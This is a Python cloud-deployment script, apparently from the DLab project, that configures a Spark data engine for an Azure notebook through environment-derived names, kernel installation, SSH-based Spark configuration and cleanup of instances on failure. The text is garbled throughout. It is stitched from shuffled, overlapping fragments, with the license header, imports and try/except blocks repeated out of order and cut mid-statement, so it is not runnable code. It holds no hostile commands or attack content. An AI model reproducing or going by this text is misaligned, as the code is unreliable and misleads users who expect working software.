logging.info('[INSTALLING KERNELS INTO SPECIFIED NOTEBOOK]') print('[INSTALLING", "\"--os_user {2} \" \\ \"--cluster_name {3} \" \\ .format(notebook_config['notebook_ip'], notebook_config['key_path'],", "notebook_config['slave_node_name'] + '{}'.format(i+1) AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed installing Dataengine", "notebook_config['notebook_ip'], os.environ['azure_datalake_enable'], notebook_config['spark_master_ip']) try: local(\"~/scripts/{}_{}.py {}\".format(os.environ['application'], 'install_dataengine_kernels', params)) except: traceback.print_exc()", "as err: print('Error: {0}'.format(err)) sys.exit(1) notebook_config['spark_master_url'] = 'spark://{}:7077'.format(notebook_config['spark_master_ip']) except Exception", "AzureMeta().get_private_ip_address( notebook_config['resource_group_name'], notebook_config['master_node_name']) notebook_config['notebook_ip'] = AzureMeta().get_private_ip_address( notebook_config['resource_group_name'], notebook_config['notebook_name']) except Exception", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "sys.exit(1) try: logging.info('[UPDATING SPARK CONFIGURATION FILES ON NOTEBOOK]') print('[UPDATING SPARK", "file except in compliance # with the License. You may", "# specific language governing permissions and limitations # under the", "+ local_log_filename logging.basicConfig(format='%(levelname)-8s [%(asctime)s] %(message)s', level=logging.DEBUG, filename=local_log_filepath) try: # generating", "+ '{}'.format(i+1) AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed to configure Spark.\",", "= os.environ['exploratory_name'].replace('_', '-') except: notebook_config['exploratory_name'] = '' try: notebook_config['computational_name'] =", "limitations # under the License. # # ****************************************************************************** import logging", "you may not use this file except in compliance #", "License. # # ****************************************************************************** import logging import json import sys", "str(err)) sys.exit(1) try: with open(\"/root/result.json\", 'w') as result: res =", "to configure Spark.\", str(err)) sys.exit(1) try: with open(\"/root/result.json\", 'w') as", "\\ \"--keyfile {1} \" \\ \"--os_user {2} \" \\ \"--cluster_name", "use this file except in compliance # with the License.", "FILES ON NOTEBOOK]') params = \"--hostname {0} \" \\ \"--keyfile", "from dlab.meta_lib import * from dlab.actions_lib import * import os", "notebook_config['computational_name'] = os.environ['computational_name'].replace('_', '-') except: notebook_config['computational_name'] = '' notebook_config['service_base_name'] =", "contributor license agreements. See the NOTICE file # distributed with", "notebook_config['resource_group_name'] = os.environ['azure_resource_group_name'] notebook_config['region'] = os.environ['azure_region'] notebook_config['user_name'] = os.environ['edge_user_name'].replace('_', '-')", "notebook_config['spark_master_url'] = 'spark://{}:7077'.format(notebook_config['spark_master_ip']) except Exception as err: for i in", "\\ .format(notebook_config['notebook_ip'], notebook_config['key_path'], notebook_config['dlab_ssh_user'], notebook_config['cluster_name']) try: local(\"~/scripts/{0}.py {1}\".format('common_configure_spark', params)) except:", "an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF", "notebook_config['master_node_name']) append_result(\"Failed installing Dataengine kernels.\", str(err)) sys.exit(1) try: logging.info('[UPDATING SPARK", "dictionary print('Generating infrastructure names and tags') notebook_config = dict() try:", "\"--cluster_name {3} \" \\ .format(notebook_config['notebook_ip'], notebook_config['key_path'], notebook_config['dlab_ssh_user'], notebook_config['cluster_name']) try: local(\"~/scripts/{0}.py", "WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express", "with this work for additional information # regarding copyright ownership.", "__name__ == \"__main__\": local_log_filename = \"{}_{}_{}.log\".format(os.environ['conf_resource'], os.environ['project_name'], os.environ['request_id']) local_log_filepath =", "* import os import uuid if __name__ == \"__main__\": local_log_filename", "sys.exit(1) try: with open(\"/root/result.json\", 'w') as result: res = {\"notebook_name\":", "'-') except: notebook_config['computational_name'] = '' notebook_config['service_base_name'] = os.environ['conf_service_base_name'] notebook_config['resource_group_name'] =", "\\ \"--cluster_name {3} \" \\ .format(notebook_config['notebook_ip'], notebook_config['key_path'], notebook_config['dlab_ssh_user'], notebook_config['cluster_name']) try:", "= notebook_config['service_base_name'] + '-' + notebook_config['project_name'] + \\ '-de-' +", "work for additional information # regarding copyright ownership. The ASF", "distributed under the License is distributed on an # \"AS", "= os.environ['azure_resource_group_name'] notebook_config['region'] = os.environ['azure_region'] notebook_config['user_name'] = os.environ['edge_user_name'].replace('_', '-') notebook_config['project_name']", "'.pem' notebook_config['dlab_ssh_user'] = os.environ['conf_os_user'] notebook_config['instance_count'] = int(os.environ['dataengine_instance_count']) try: notebook_config['spark_master_ip'] =", "INTO SPECIFIED NOTEBOOK]') print('[INSTALLING KERNELS INTO SPECIFIED NOTEBOOK]') params =", "# software distributed under the License is distributed on an", "print('Generating infrastructure names and tags') notebook_config = dict() try: notebook_config['exploratory_name']", "= notebook_config['cluster_name'] + '-m' notebook_config['slave_node_name'] = notebook_config['cluster_name'] + '-s' notebook_config['notebook_name']", "\\ \"--os_user {2} \" \\ \"--cluster_name {3} \" \\ .format(notebook_config['notebook_ip'],", "the License. You may obtain a copy of the License", "notebook_config['region'] = os.environ['azure_region'] notebook_config['user_name'] = os.environ['edge_user_name'].replace('_', '-') notebook_config['project_name'] = os.environ['project_name'].replace('_',", "= notebook_config['cluster_name'] + '-s' notebook_config['notebook_name'] = os.environ['notebook_instance_name'] notebook_config['key_path'] = os.environ['conf_key_dir']", "under the Apache License, Version 2.0 (the # \"License\"); you", "--notebook_ip {6} --datalake_enabled {7} --spark_master_ip {8}\".\\ format(notebook_config['cluster_name'], os.environ['notebook_spark_version'], os.environ['notebook_hadoop_version'], notebook_config['dlab_ssh_user'],", "distributed on an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR", "regarding copyright ownership. The ASF licenses this file # to", "or agreed to in writing, # software distributed under the", "'-s' notebook_config['notebook_name'] = os.environ['notebook_instance_name'] notebook_config['key_path'] = os.environ['conf_key_dir'] + '/' +", "import sys from dlab.fab import * from dlab.meta_lib import *", "{1} --hadoop_version {2} --os_user {3} --spark_master {4}\" \\ \" --keyfile", "Dataengine kernels.\", str(err)) sys.exit(1) try: logging.info('[UPDATING SPARK CONFIGURATION FILES ON", "notebook_config['notebook_name'], \"Action\": \"Configure notebook server\"} print(json.dumps(res)) result.write(json.dumps(res)) except: print(\"Failed writing", "append_result(\"Failed to generate infrastructure names\", str(err)) sys.exit(1) try: logging.info('[INSTALLING KERNELS", "notebook_config['cluster_name']) try: local(\"~/scripts/{0}.py {1}\".format('common_configure_spark', params)) except: traceback.print_exc() raise Exception except", "notebook_config['computational_name'] = '' notebook_config['service_base_name'] = os.environ['conf_service_base_name'] notebook_config['resource_group_name'] = os.environ['azure_resource_group_name'] notebook_config['region']", "notebook_config['cluster_name'] + '-s' notebook_config['notebook_name'] = os.environ['notebook_instance_name'] notebook_config['key_path'] = os.environ['conf_key_dir'] +", "or more contributor license agreements. See the NOTICE file #", "# ****************************************************************************** import logging import json import sys from dlab.fab", "Exception as err: for i in range(notebook_config['instance_count'] - 1): slave_name", "under the License. # # ****************************************************************************** import logging import json", "this work for additional information # regarding copyright ownership. The", "os.environ['project_name'].replace('_', '-') notebook_config['endpoint_tag'] = os.environ['endpoint_name'].replace('_', '-') notebook_config['cluster_name'] = notebook_config['service_base_name'] +", "sys.exit(1) try: logging.info('[INSTALLING KERNELS INTO SPECIFIED NOTEBOOK]') print('[INSTALLING KERNELS INTO", "the NOTICE file # distributed with this work for additional", "dict() try: notebook_config['exploratory_name'] = os.environ['exploratory_name'].replace('_', '-') except: notebook_config['exploratory_name'] = ''", "{0}'.format(err)) for i in range(notebook_config['instance_count'] - 1): slave_name = notebook_config['slave_node_name']", "for i in range(notebook_config['instance_count'] - 1): slave_name = notebook_config['slave_node_name'] +", "slave_name = notebook_config['slave_node_name'] + '{}'.format(i+1) AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed", "--hadoop_version {2} --os_user {3} --spark_master {4}\" \\ \" --keyfile {5}", "SPECIFIED NOTEBOOK]') params = \"--cluster_name {0} --spark_version {1} --hadoop_version {2}", "as err: for i in range(notebook_config['instance_count'] - 1): slave_name =", "notebook_config['project_name'] + \\ '-de-' + notebook_config['exploratory_name'] + '-' + \\", "SPECIFIED NOTEBOOK]') print('[INSTALLING KERNELS INTO SPECIFIED NOTEBOOK]') params = \"--cluster_name", "os.environ['exploratory_name'].replace('_', '-') except: notebook_config['exploratory_name'] = '' try: notebook_config['computational_name'] = os.environ['computational_name'].replace('_',", "notebook_config['notebook_name']) except Exception as err: print('Error: {0}'.format(err)) sys.exit(1) notebook_config['spark_master_url'] =", "== \"__main__\": local_log_filename = \"{}_{}_{}.log\".format(os.environ['conf_resource'], os.environ['project_name'], os.environ['request_id']) local_log_filepath = \"/logs/\"", "= '' try: notebook_config['computational_name'] = os.environ['computational_name'].replace('_', '-') except: notebook_config['computational_name'] =", "= int(os.environ['dataengine_instance_count']) try: notebook_config['spark_master_ip'] = AzureMeta().get_private_ip_address( notebook_config['resource_group_name'], notebook_config['master_node_name']) notebook_config['notebook_ip'] =", "KIND, either express or implied. See the License for the", "notebook_config['project_tag'] = os.environ['project_name'].replace('_', '-') notebook_config['endpoint_tag'] = os.environ['endpoint_name'].replace('_', '-') notebook_config['cluster_name'] =", "logging import json import sys from dlab.fab import * from", "or implied. See the License for the # specific language", "express or implied. See the License for the # specific", "print('Error: {0}'.format(err)) sys.exit(1) notebook_config['spark_master_url'] = 'spark://{}:7077'.format(notebook_config['spark_master_ip']) except Exception as err:", "'w') as result: res = {\"notebook_name\": notebook_config['notebook_name'], \"Action\": \"Configure notebook", "- 1): slave_name = notebook_config['slave_node_name'] + '{}'.format(i+1) AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'],", "--spark_master_ip {8}\".\\ format(notebook_config['cluster_name'], os.environ['notebook_spark_version'], os.environ['notebook_hadoop_version'], notebook_config['dlab_ssh_user'], notebook_config['spark_master_url'], notebook_config['key_path'], notebook_config['notebook_ip'], os.environ['azure_datalake_enable'],", "the # specific language governing permissions and limitations # under", "os.environ['project_name'].replace('_', '-') notebook_config['project_tag'] = os.environ['project_name'].replace('_', '-') notebook_config['endpoint_tag'] = os.environ['endpoint_name'].replace('_', '-')", "infrastructure names\", str(err)) sys.exit(1) try: logging.info('[INSTALLING KERNELS INTO SPECIFIED NOTEBOOK]')", "may obtain a copy of the License at # #", "CONFIGURATION FILES ON NOTEBOOK]') params = \"--hostname {0} \" \\", "traceback.print_exc() raise Exception except Exception as err: print('Error: {0}'.format(err)) for", "str(err)) sys.exit(1) try: logging.info('[UPDATING SPARK CONFIGURATION FILES ON NOTEBOOK]') print('[UPDATING", "The ASF licenses this file # to you under the", "configure Spark.\", str(err)) sys.exit(1) try: with open(\"/root/result.json\", 'w') as result:", "try: logging.info('[UPDATING SPARK CONFIGURATION FILES ON NOTEBOOK]') print('[UPDATING SPARK CONFIGURATION", "'{}'.format(i+1) AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed to generate infrastructure names\",", "try: notebook_config['exploratory_name'] = os.environ['exploratory_name'].replace('_', '-') except: notebook_config['exploratory_name'] = '' try:", "# Licensed to the Apache Software Foundation (ASF) under one", "append_result(\"Failed to configure Spark.\", str(err)) sys.exit(1) try: with open(\"/root/result.json\", 'w')", "{4}\" \\ \" --keyfile {5} --notebook_ip {6} --datalake_enabled {7} --spark_master_ip", "= os.environ['project_name'].replace('_', '-') notebook_config['project_tag'] = os.environ['project_name'].replace('_', '-') notebook_config['endpoint_tag'] = os.environ['endpoint_name'].replace('_',", "except: notebook_config['computational_name'] = '' notebook_config['service_base_name'] = os.environ['conf_service_base_name'] notebook_config['resource_group_name'] = os.environ['azure_resource_group_name']", "notebook_config['resource_group_name'], notebook_config['notebook_name']) except Exception as err: print('Error: {0}'.format(err)) sys.exit(1) notebook_config['spark_master_url']", "'-') notebook_config['project_name'] = os.environ['project_name'].replace('_', '-') notebook_config['project_tag'] = os.environ['project_name'].replace('_', '-') notebook_config['endpoint_tag']", "law or agreed to in writing, # software distributed under", "Foundation (ASF) under one # or more contributor license agreements.", "logging.info('[INSTALLING KERNELS INTO SPECIFIED NOTEBOOK]') print('[INSTALLING KERNELS INTO SPECIFIED NOTEBOOK]')", "'spark://{}:7077'.format(notebook_config['spark_master_ip']) except Exception as err: for i in range(notebook_config['instance_count'] -", "+ '/' + os.environ['conf_key_name'] + '.pem' notebook_config['dlab_ssh_user'] = os.environ['conf_os_user'] notebook_config['instance_count']", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed installing Dataengine kernels.\", str(err)) sys.exit(1) try:", "Software Foundation (ASF) under one # or more contributor license", "dlab.meta_lib import * from dlab.actions_lib import * import os import", "notebook_config['master_node_name']) append_result(\"Failed to generate infrastructure names\", str(err)) sys.exit(1) try: logging.info('[INSTALLING", "+ '-' + notebook_config['project_name'] + \\ '-de-' + notebook_config['exploratory_name'] +", "'-m' notebook_config['slave_node_name'] = notebook_config['cluster_name'] + '-s' notebook_config['notebook_name'] = os.environ['notebook_instance_name'] notebook_config['key_path']", "# regarding copyright ownership. The ASF licenses this file #", "in compliance # with the License. You may obtain a", "# to you under the Apache License, Version 2.0 (the", "License for the # specific language governing permissions and limitations", "notebook_config['user_name'] = os.environ['edge_user_name'].replace('_', '-') notebook_config['project_name'] = os.environ['project_name'].replace('_', '-') notebook_config['project_tag'] =", "notebook_config['exploratory_name'] = '' try: notebook_config['computational_name'] = os.environ['computational_name'].replace('_', '-') except: notebook_config['computational_name']", "notebook_config['dlab_ssh_user'], notebook_config['spark_master_url'], notebook_config['key_path'], notebook_config['notebook_ip'], os.environ['azure_datalake_enable'], notebook_config['spark_master_ip']) try: local(\"~/scripts/{}_{}.py {}\".format(os.environ['application'], 'install_dataengine_kernels',", "OR CONDITIONS OF ANY # KIND, either express or implied.", "{1}\".format('common_configure_spark', params)) except: traceback.print_exc() raise Exception except Exception as err:", "notebook_config['cluster_name'] = notebook_config['service_base_name'] + '-' + notebook_config['project_name'] + \\ '-de-'", "as err: print('Error: {0}'.format(err)) for i in range(notebook_config['instance_count'] - 1):", "as result: res = {\"notebook_name\": notebook_config['notebook_name'], \"Action\": \"Configure notebook server\"}", "notebook_config['key_path'], notebook_config['notebook_ip'], os.environ['azure_datalake_enable'], notebook_config['spark_master_ip']) try: local(\"~/scripts/{}_{}.py {}\".format(os.environ['application'], 'install_dataengine_kernels', params)) except:", "{0} \" \\ \"--keyfile {1} \" \\ \"--os_user {2} \"", "this file # to you under the Apache License, Version", "= os.environ['project_name'].replace('_', '-') notebook_config['endpoint_tag'] = os.environ['endpoint_name'].replace('_', '-') notebook_config['cluster_name'] = notebook_config['service_base_name']", "--datalake_enabled {7} --spark_master_ip {8}\".\\ format(notebook_config['cluster_name'], os.environ['notebook_spark_version'], os.environ['notebook_hadoop_version'], notebook_config['dlab_ssh_user'], notebook_config['spark_master_url'], notebook_config['key_path'],", "copyright ownership. The ASF licenses this file # to you", "'-') notebook_config['project_tag'] = os.environ['project_name'].replace('_', '-') notebook_config['endpoint_tag'] = os.environ['endpoint_name'].replace('_', '-') notebook_config['cluster_name']", "open(\"/root/result.json\", 'w') as result: res = {\"notebook_name\": notebook_config['notebook_name'], \"Action\": \"Configure", "logging.info('[UPDATING SPARK CONFIGURATION FILES ON NOTEBOOK]') print('[UPDATING SPARK CONFIGURATION FILES", "+ os.environ['conf_key_name'] + '.pem' notebook_config['dlab_ssh_user'] = os.environ['conf_os_user'] notebook_config['instance_count'] = int(os.environ['dataengine_instance_count'])", "NOTEBOOK]') print('[INSTALLING KERNELS INTO SPECIFIED NOTEBOOK]') params = \"--cluster_name {0}", "in writing, # software distributed under the License is distributed", "= os.environ['endpoint_name'].replace('_', '-') notebook_config['cluster_name'] = notebook_config['service_base_name'] + '-' + notebook_config['project_name']", "os.environ['computational_name'].replace('_', '-') except: notebook_config['computational_name'] = '' notebook_config['service_base_name'] = os.environ['conf_service_base_name'] notebook_config['resource_group_name']", "%(message)s', level=logging.DEBUG, filename=local_log_filepath) try: # generating variables dictionary print('Generating infrastructure", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "License is distributed on an # \"AS IS\" BASIS, WITHOUT", "slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed to configure Spark.\", str(err)) sys.exit(1) try:", "+ os.environ['conf_resource'] + \"/\" + local_log_filename logging.basicConfig(format='%(levelname)-8s [%(asctime)s] %(message)s', level=logging.DEBUG,", "\" \\ .format(notebook_config['notebook_ip'], notebook_config['key_path'], notebook_config['dlab_ssh_user'], notebook_config['cluster_name']) try: local(\"~/scripts/{0}.py {1}\".format('common_configure_spark', params))", "AzureMeta().get_private_ip_address( notebook_config['resource_group_name'], notebook_config['notebook_name']) except Exception as err: print('Error: {0}'.format(err)) sys.exit(1)", "--os_user {3} --spark_master {4}\" \\ \" --keyfile {5} --notebook_ip {6}", "{3} \" \\ .format(notebook_config['notebook_ip'], notebook_config['key_path'], notebook_config['dlab_ssh_user'], notebook_config['cluster_name']) try: local(\"~/scripts/{0}.py {1}\".format('common_configure_spark',", "try: local(\"~/scripts/{0}.py {1}\".format('common_configure_spark', params)) except: traceback.print_exc() raise Exception except Exception", "'/' + os.environ['conf_key_name'] + '.pem' notebook_config['dlab_ssh_user'] = os.environ['conf_os_user'] notebook_config['instance_count'] =", "\"--keyfile {1} \" \\ \"--os_user {2} \" \\ \"--cluster_name {3}", "with open(\"/root/result.json\", 'w') as result: res = {\"notebook_name\": notebook_config['notebook_name'], \"Action\":", "'' try: notebook_config['computational_name'] = os.environ['computational_name'].replace('_', '-') except: notebook_config['computational_name'] = ''", "notebook_config['master_node_name'] = notebook_config['cluster_name'] + '-m' notebook_config['slave_node_name'] = notebook_config['cluster_name'] + '-s'", "# \"License\"); you may not use this file except in", "{1} \" \\ \"--os_user {2} \" \\ \"--cluster_name {3} \"", "# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY", "except Exception as err: print('Error: {0}'.format(err)) for i in range(notebook_config['instance_count']", "Exception as err: print('Error: {0}'.format(err)) for i in range(notebook_config['instance_count'] -", "notebook_config['endpoint_tag'] = os.environ['endpoint_name'].replace('_', '-') notebook_config['cluster_name'] = notebook_config['service_base_name'] + '-' +", "{2} --os_user {3} --spark_master {4}\" \\ \" --keyfile {5} --notebook_ip", "to the Apache Software Foundation (ASF) under one # or", "\"License\"); you may not use this file except in compliance", "except: notebook_config['exploratory_name'] = '' try: notebook_config['computational_name'] = os.environ['computational_name'].replace('_', '-') except:", "+ \\ notebook_config['computational_name'] notebook_config['master_node_name'] = notebook_config['cluster_name'] + '-m' notebook_config['slave_node_name'] =", "ON NOTEBOOK]') params = \"--hostname {0} \" \\ \"--keyfile {1}", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "***************************************************************************** # # Licensed to the Apache Software Foundation (ASF)", "= dict() try: notebook_config['exploratory_name'] = os.environ['exploratory_name'].replace('_', '-') except: notebook_config['exploratory_name'] =", "# distributed with this work for additional information # regarding", "writing, # software distributed under the License is distributed on", "= os.environ['notebook_instance_name'] notebook_config['key_path'] = os.environ['conf_key_dir'] + '/' + os.environ['conf_key_name'] +", "# under the License. # # ****************************************************************************** import logging import", "os.environ['conf_resource'] + \"/\" + local_log_filename logging.basicConfig(format='%(levelname)-8s [%(asctime)s] %(message)s', level=logging.DEBUG, filename=local_log_filepath)", "os.environ['endpoint_name'].replace('_', '-') notebook_config['cluster_name'] = notebook_config['service_base_name'] + '-' + notebook_config['project_name'] +", "to generate infrastructure names\", str(err)) sys.exit(1) try: logging.info('[INSTALLING KERNELS INTO", "CONDITIONS OF ANY # KIND, either express or implied. See", "names and tags') notebook_config = dict() try: notebook_config['exploratory_name'] = os.environ['exploratory_name'].replace('_',", "except Exception as err: for i in range(notebook_config['instance_count'] - 1):", "notebook_config['master_node_name']) notebook_config['notebook_ip'] = AzureMeta().get_private_ip_address( notebook_config['resource_group_name'], notebook_config['notebook_name']) except Exception as err:", "'-' + notebook_config['project_name'] + \\ '-de-' + notebook_config['exploratory_name'] + '-'", "= os.environ['conf_os_user'] notebook_config['instance_count'] = int(os.environ['dataengine_instance_count']) try: notebook_config['spark_master_ip'] = AzureMeta().get_private_ip_address( notebook_config['resource_group_name'],", "for additional information # regarding copyright ownership. The ASF licenses", "os.environ['conf_service_base_name'] notebook_config['resource_group_name'] = os.environ['azure_resource_group_name'] notebook_config['region'] = os.environ['azure_region'] notebook_config['user_name'] = os.environ['edge_user_name'].replace('_',", "installing Dataengine kernels.\", str(err)) sys.exit(1) try: logging.info('[UPDATING SPARK CONFIGURATION FILES", "--spark_version {1} --hadoop_version {2} --os_user {3} --spark_master {4}\" \\ \"", "err: print('Error: {0}'.format(err)) for i in range(notebook_config['instance_count'] - 1): slave_name", "the Apache Software Foundation (ASF) under one # or more", "\"__main__\": local_log_filename = \"{}_{}_{}.log\".format(os.environ['conf_resource'], os.environ['project_name'], os.environ['request_id']) local_log_filepath = \"/logs/\" +", "INTO SPECIFIED NOTEBOOK]') params = \"--cluster_name {0} --spark_version {1} --hadoop_version", "# # Unless required by applicable law or agreed to", "Version 2.0 (the # \"License\"); you may not use this", "notebook_config['slave_node_name'] + '{}'.format(i+1) AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed to configure", "try: logging.info('[INSTALLING KERNELS INTO SPECIFIED NOTEBOOK]') print('[INSTALLING KERNELS INTO SPECIFIED", "one # or more contributor license agreements. See the NOTICE", "[%(asctime)s] %(message)s', level=logging.DEBUG, filename=local_log_filepath) try: # generating variables dictionary print('Generating", "os import uuid if __name__ == \"__main__\": local_log_filename = \"{}_{}_{}.log\".format(os.environ['conf_resource'],", "AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed installing Dataengine kernels.\", str(err)) sys.exit(1) try: logging.info('[UPDATING", "obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "notebook_config['key_path'], notebook_config['dlab_ssh_user'], notebook_config['cluster_name']) try: local(\"~/scripts/{0}.py {1}\".format('common_configure_spark', params)) except: traceback.print_exc() raise", "NOTEBOOK]') params = \"--hostname {0} \" \\ \"--keyfile {1} \"", "try: notebook_config['spark_master_ip'] = AzureMeta().get_private_ip_address( notebook_config['resource_group_name'], notebook_config['master_node_name']) notebook_config['notebook_ip'] = AzureMeta().get_private_ip_address( notebook_config['resource_group_name'],", "try: with open(\"/root/result.json\", 'w') as result: res = {\"notebook_name\": notebook_config['notebook_name'],", "if __name__ == \"__main__\": local_log_filename = \"{}_{}_{}.log\".format(os.environ['conf_resource'], os.environ['project_name'], os.environ['request_id']) local_log_filepath", ".format(notebook_config['notebook_ip'], notebook_config['key_path'], notebook_config['dlab_ssh_user'], notebook_config['cluster_name']) try: local(\"~/scripts/{0}.py {1}\".format('common_configure_spark', params)) except: traceback.print_exc()", "except: traceback.print_exc() raise Exception except Exception as err: print('Error: {0}'.format(err))", "{6} --datalake_enabled {7} --spark_master_ip {8}\".\\ format(notebook_config['cluster_name'], os.environ['notebook_spark_version'], os.environ['notebook_hadoop_version'], notebook_config['dlab_ssh_user'], notebook_config['spark_master_url'],", "except in compliance # with the License. You may obtain", "--spark_master {4}\" \\ \" --keyfile {5} --notebook_ip {6} --datalake_enabled {7}", "# # ****************************************************************************** import logging import json import sys from", "dlab.actions_lib import * import os import uuid if __name__ ==", "'-de-' + notebook_config['exploratory_name'] + '-' + \\ notebook_config['computational_name'] notebook_config['master_node_name'] =", "= os.environ['edge_user_name'].replace('_', '-') notebook_config['project_name'] = os.environ['project_name'].replace('_', '-') notebook_config['project_tag'] = os.environ['project_name'].replace('_',", "NOTICE file # distributed with this work for additional information", "str(err)) sys.exit(1) try: logging.info('[INSTALLING KERNELS INTO SPECIFIED NOTEBOOK]') print('[INSTALLING KERNELS", "this file except in compliance # with the License. You", "append_result(\"Failed installing Dataengine kernels.\", str(err)) sys.exit(1) try: logging.info('[UPDATING SPARK CONFIGURATION", "license agreements. See the NOTICE file # distributed with this", "notebook_config['computational_name'] notebook_config['master_node_name'] = notebook_config['cluster_name'] + '-m' notebook_config['slave_node_name'] = notebook_config['cluster_name'] +", "required by applicable law or agreed to in writing, #", "\"{}_{}_{}.log\".format(os.environ['conf_resource'], os.environ['project_name'], os.environ['request_id']) local_log_filepath = \"/logs/\" + os.environ['conf_resource'] + \"/\"", "err: for i in range(notebook_config['instance_count'] - 1): slave_name = notebook_config['slave_node_name']", "'-') notebook_config['endpoint_tag'] = os.environ['endpoint_name'].replace('_', '-') notebook_config['cluster_name'] = notebook_config['service_base_name'] + '-'", "NOTEBOOK]') params = \"--cluster_name {0} --spark_version {1} --hadoop_version {2} --os_user", "AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed to configure Spark.\", str(err)) sys.exit(1) try: with", "the License for the # specific language governing permissions and", "kernels.\", str(err)) sys.exit(1) try: logging.info('[UPDATING SPARK CONFIGURATION FILES ON NOTEBOOK]')", "FILES ON NOTEBOOK]') print('[UPDATING SPARK CONFIGURATION FILES ON NOTEBOOK]') params", "ANY # KIND, either express or implied. See the License", "notebook_config['cluster_name'] + '-m' notebook_config['slave_node_name'] = notebook_config['cluster_name'] + '-s' notebook_config['notebook_name'] =", "the License is distributed on an # \"AS IS\" BASIS,", "from dlab.fab import * from dlab.meta_lib import * from dlab.actions_lib", "= {\"notebook_name\": notebook_config['notebook_name'], \"Action\": \"Configure notebook server\"} print(json.dumps(res)) result.write(json.dumps(res)) except:", "notebook_config['spark_master_ip'] = AzureMeta().get_private_ip_address( notebook_config['resource_group_name'], notebook_config['master_node_name']) notebook_config['notebook_ip'] = AzureMeta().get_private_ip_address( notebook_config['resource_group_name'], notebook_config['notebook_name'])", "i in range(notebook_config['instance_count'] - 1): slave_name = notebook_config['slave_node_name'] + '{}'.format(i+1)", "# # Licensed to the Apache Software Foundation (ASF) under", "\\ \" --keyfile {5} --notebook_ip {6} --datalake_enabled {7} --spark_master_ip {8}\".\\", "****************************************************************************** import logging import json import sys from dlab.fab import", "sys.exit(1) notebook_config['spark_master_url'] = 'spark://{}:7077'.format(notebook_config['spark_master_ip']) except Exception as err: for i", "= 'spark://{}:7077'.format(notebook_config['spark_master_ip']) except Exception as err: for i in range(notebook_config['instance_count']", "'-') except: notebook_config['exploratory_name'] = '' try: notebook_config['computational_name'] = os.environ['computational_name'].replace('_', '-')", "{\"notebook_name\": notebook_config['notebook_name'], \"Action\": \"Configure notebook server\"} print(json.dumps(res)) result.write(json.dumps(res)) except: print(\"Failed", "governing permissions and limitations # under the License. # #", "not use this file except in compliance # with the", "+ '{}'.format(i+1) AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed installing Dataengine kernels.\",", "notebook_config['service_base_name'] + '-' + notebook_config['project_name'] + \\ '-de-' + notebook_config['exploratory_name']", "import * import os import uuid if __name__ == \"__main__\":", "import * from dlab.actions_lib import * import os import uuid", "sys from dlab.fab import * from dlab.meta_lib import * from", "params = \"--cluster_name {0} --spark_version {1} --hadoop_version {2} --os_user {3}", "Unless required by applicable law or agreed to in writing,", "* from dlab.actions_lib import * import os import uuid if", "local_log_filename = \"{}_{}_{}.log\".format(os.environ['conf_resource'], os.environ['project_name'], os.environ['request_id']) local_log_filepath = \"/logs/\" + os.environ['conf_resource']", "(ASF) under one # or more contributor license agreements. See", "\" \\ \"--os_user {2} \" \\ \"--cluster_name {3} \" \\", "# or more contributor license agreements. See the NOTICE file", "agreed to in writing, # software distributed under the License", "\"Configure notebook server\"} print(json.dumps(res)) result.write(json.dumps(res)) except: print(\"Failed writing results.\") sys.exit(0)", "AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed to generate infrastructure names\", str(err))", "'{}'.format(i+1) AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed installing Dataengine kernels.\", str(err))", "notebook_config['key_path'] = os.environ['conf_key_dir'] + '/' + os.environ['conf_key_name'] + '.pem' notebook_config['dlab_ssh_user']", "variables dictionary print('Generating infrastructure names and tags') notebook_config = dict()", "* from dlab.meta_lib import * from dlab.actions_lib import * import", "# generating variables dictionary print('Generating infrastructure names and tags') notebook_config", "notebook_config['notebook_name'] = os.environ['notebook_instance_name'] notebook_config['key_path'] = os.environ['conf_key_dir'] + '/' + os.environ['conf_key_name']", "(the # \"License\"); you may not use this file except", "result: res = {\"notebook_name\": notebook_config['notebook_name'], \"Action\": \"Configure notebook server\"} print(json.dumps(res))", "= os.environ['computational_name'].replace('_', '-') except: notebook_config['computational_name'] = '' notebook_config['service_base_name'] = os.environ['conf_service_base_name']", "+ notebook_config['project_name'] + \\ '-de-' + notebook_config['exploratory_name'] + '-' +", "local(\"~/scripts/{0}.py {1}\".format('common_configure_spark', params)) except: traceback.print_exc() raise Exception except Exception as", "= notebook_config['slave_node_name'] + '{}'.format(i+1) AzureActions().remove_instance(notebook_config['resource_group_name'], 